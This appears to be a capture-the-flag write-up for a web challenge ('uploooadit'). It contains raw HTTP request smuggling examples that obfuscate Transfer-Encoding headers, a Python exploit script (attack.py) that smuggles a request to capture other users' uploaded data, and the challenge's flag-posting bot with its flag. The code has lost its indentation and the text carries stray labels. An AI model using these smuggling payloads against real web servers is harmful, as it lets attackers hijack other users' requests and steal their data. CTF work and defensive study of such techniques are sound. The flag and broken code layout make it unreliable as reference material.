Valid
Invalid
POST /about HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
Content-Length: 4
1
Z
Q
POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
Transfer-Encoding: zchunked
17
=x&q=smuggling&x=
0
GET /404 HTTP/1.1
Foo: bPOST /search HTTP/1.1
Host: example.com
…
POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: zchunked
96
GET /404 HTTP/1.1
X: x=1&q=smugging&x=
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
x=
0
POST /search HTTP/1.1
Host: example.com
#!/usr/bin/env python3
import socket
import ssl
import sys
import uuid
import requests
CLTE_TEMPLATE = """GET / HTTP/1.1
Host: {hostname}
User-Agent: attacker
Content-Length: {length}
Transfer-Encoding:\x0bchunked
0
"""
GUID = str(uuid.uuid4())
def request(content, hostname, port):
print(content)
print()
def issue_request(server):
assert server.send(content) == len(content)
data = server.recv(1024)
while len(data) > 0:
print(data.decode("utf-8"))
data = server.recv(1024)
with socket.create_connection((hostname, port)) as raw_socket:
if port == 443:
context = ssl.create_default_context()
with context.wrap_socket(raw_socket, server_hostname=hostname) as server:
issue_request(server)
else:
issue_request(raw_socket)
try:
raw_socket.shutdown(socket.SHUT_RDWR)
except:
pass
def clte(payload, hostname):
offset = 5 + payload.count("\n")
return (
(CLTE_TEMPLATE.format(hostname=hostname, length=len(payload) + offset) + payload)
.replace("\n", "\r\n")
.encode("utf-8")
)
def main():
if len(sys.argv) == 2 and sys.argv[1] == "--local":
hostname = "localhost"
port = 8080
url = f"http://localhost:8080/files/{GUID}"
else:
hostname = "uploooadit.oooverflow.io"
port = 443
url = f"https://uploooadit.oooverflow.io/files/{GUID}"
payload = f"""POST /files/ HTTP/1.1
Connection: close
Content-Length: 385
Content-Type: text/plain
User-Agent: hacked
X-guid: {GUID}
"""
request(clte(payload, hostname), hostname, port)
response = requests.get(url)
print(response.content.decode("utf-8"))
if __name__ == "__main__":
sys.exit(main())
#!/usr/bin/env python3
import argparse
import os
import sys
import time
import traceback
import uuid
import requests
SECRET = b"Congratulations!\nOOO{That girl thinks she's the queen of the neighborhood/She's got the hottest trike in town/That girl, she holds her head up so high}\n"
SLEEP_TIME = float(os.getenv("SLEEP_TIME", 2))
URL = "http://127.0.0.1:8080/files/"
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--daemon", action="store_true")
arguments = parser.parse_args()
run_loop()
def put_file():
response = requests.post(
URL,
data=SECRET,
headers={
"Content-Type": "text/plain",
"User-Agent": "invoker",
"X-guid": str(uuid.uuid4()),
},
timeout=1,
)
if response.status_code == 201:
sys.stdout.write(".")
sys.stdout.flush()
else:
print()
print(response)
def run_loop():
while True:
try:
put_file()
except Exception:
traceback.print_exc()
time.sleep(SLEEP_TIME)
if __name__ == "__main__":
sys.exit(main())
attack.py
invoker.py (server)